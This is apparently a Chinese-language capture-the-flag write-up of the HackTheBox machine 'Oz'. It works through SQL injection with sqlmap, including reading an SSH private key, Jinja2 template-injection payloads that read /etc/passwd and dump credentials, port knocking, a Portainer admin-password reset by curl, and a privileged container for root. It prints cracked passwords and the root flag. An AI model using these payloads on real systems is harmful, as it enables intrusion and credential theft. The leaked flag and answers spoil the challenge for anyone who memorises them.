这次靶机是Hackthebox里面的OZ
=========================================================================================
nmap -sV -sC -T5 -p- 10.10.10.96
这里我们看到开放了2个端口80和8080.
他们都是Werkzeug的实例
Werkzeug是一个用于Python的WSGI(Web服务器网关接口)实用程序库,其功能之一是将HTTP请求映射到要调用的代码。
我们访问下网页
他提示我们需要注册一个用户名
我们在访问下8080
我在github上找到一个关于Werkzeug应用程序命令执行的仓库
https://github.com/Fare9/PyWerkzeug-Debug-Command-Execution/
但是发现目标关闭了调试模式
尝试爆破下目录这里我用dirsearch
项目地址:https://github.com/maurosoria/dirsearch
扫描也没有扫描处什么有用的信息
扫描结果一大堆。
后来我发现 这个网站是不会返回404的 ,而是回返回给你一段随机值
所以我们这样的话很难爆破出结果的 因为返回的内容都是200
我们获取下这个网站还有什么方法可以用
curl -i -X OPTIONS http://10.10.10.96
我们访问的是主页面,发现放回的是200 内容长度为0那么我们可以用这个方法来判断枚举目录
所以我们换wfuzz 来爆破,然后筛选结果 返回的内容长度为0的页面
wfuzz -u http://10.10.10.96/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hl 0
我们可以发现有一个users目录访问下看看
还是这个样子。
但是这个路径是个有效的路径,我么试着在后面加一下常见的路径名比如:admin
我们就会得到响应username:"admin"
那我们试下其他错误的数据
提示错误。
我们再试下' or '1'='1
说明可能存在SQL注入
我们试着用SQLMAP跑下
sqlmap -u "http://10.10.10.96/users/" --dbs
sqlmap -u "http://10.10.10.96/users/" --tables -D ozdb
sqlmap -u "http://10.10.10.96/users/" --columns -T users_gbw -D ozdb
sqlmap -u "http://10.10.10.96/users/" --dump -C id,username,password -T users_gbw -D ozdb
我们把文件转存下用john来破解下Hash
唯一可以破解的就是wizard.oz: wizardofoz22
我们到http://10.10.10.96:8080登陆下
我们用sqlmap读取目标系统里面的文件,把私钥抓出来
sqlmap -u "http://10.10.10.96/users/" --file-read=/home/dorthi/.ssh/id_rsa --batch
cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa
现在有了私钥,但是我们目标机器只开启了80和8080
我们登陆下网站,添加下新的密钥信息
通过在burp中捕获该请求,我们将看到一个带有两个参数name和desc的POST请求。
然后我们输入{{7*’7'}},它返回7777777
而不是49.
获取passwd内容
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
在Jinja2模板中,有几个全局变量,例如config。
{{config}}
config全局变量的输出显示以下凭据。
MYSQL + pymysql:// dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb
检索配置项将向我们显示一些函数和变量。
{{config.items()}}
命令执行
RUNCMD引起了我的注意,因为它可以用来执行命令执行。使用下面的有效负载,我能够检索id机器。
在那之后,我继续挖掘机器内部以发现更多有趣的文件,并找到了一些凭据。
密码= SuP3rS3cr3tP @ ss
用户= dorthi
密码= N0Pl4c3L1keH0me
该文件还提到了SSH,所以我认为两个发现的密码中的一个可用于在SSH中进行身份验证?嗯,我们稍后会看到。
然后,我发现了一个有趣的目录 .secret
。
在目录中,knockd.conf
检索了一个名为的文件,并检查该文件的内容是否返回UDP端口的配置。这些端口可用于执行端口敲击以打开SSH服务。(所以我们可以使用上面的凭证)
使用名为knock的python工具,我能够打开机器的SSH服务并进行身份验证
https://github.com/grongor/knock
./knock 10.10.10.96 -u 40809 50212 46949 && ssh -i id_rsa dorthi@10.10.10.96
Passphase:N0Pl4c3L1keH0me
成功通过身份验证后,我现在可以轻松阅读user.txt的内容。
Portainer
https://github.com/portainer/portainer
简单的执行sudo -l
表明我们可以inspect
和list
docker网络。
执行sudo /usr/bin/docker network ls
显示4个docker网络。
检查第一个docker网络会显示一个有趣的容器。
IP地址172.17.0.2被指定为Portainer实例,它是用于管理Docker的UI。
使用不同的端口敲击工具,我执行了ssh动态端口转发以连接到portainer。
./knock_udp.sh&& ssh -D 9000 -i id_rsa dorthi@10.10.10.96
然后我将我的SOCKS代理设置为Host: 127.0.0.1
和Port:9000
。
导航到http://172.17.0.2:9000/,将使用新的登录页面向我们致意,但是我尝试的大多数常见凭据都不成功。似乎Portainer在安装时提示设置管理员密码,而不是使用默认凭据。
检查Portainer GitHub库问题之后,我找到了一个答案从Dilshan拉贾帕克萨。
执行下面的简单cURL命令将重置admin的密码。
curl -H“Content-Type:application / json”http://172.17.0.2:9000/api/users/admin/init -d'{“password”:“letmein”}'
然后,我执行以下步骤来读取root.txt。
1.转到图像选项卡,单击未使用的图像并复制整个哈希
2.添加容器
3.设置容器名称
4.将哈希粘贴到图像字段中
5.选择交互式TTY
6.在第
7 卷中选择“路径” 。设置“容器“as / mnt / anything
8.安全/主机和检查特权模式
9.创建
10.连接到控制台并获取标志。
root-flag:abaa95422109fa5f84d837fe1914af29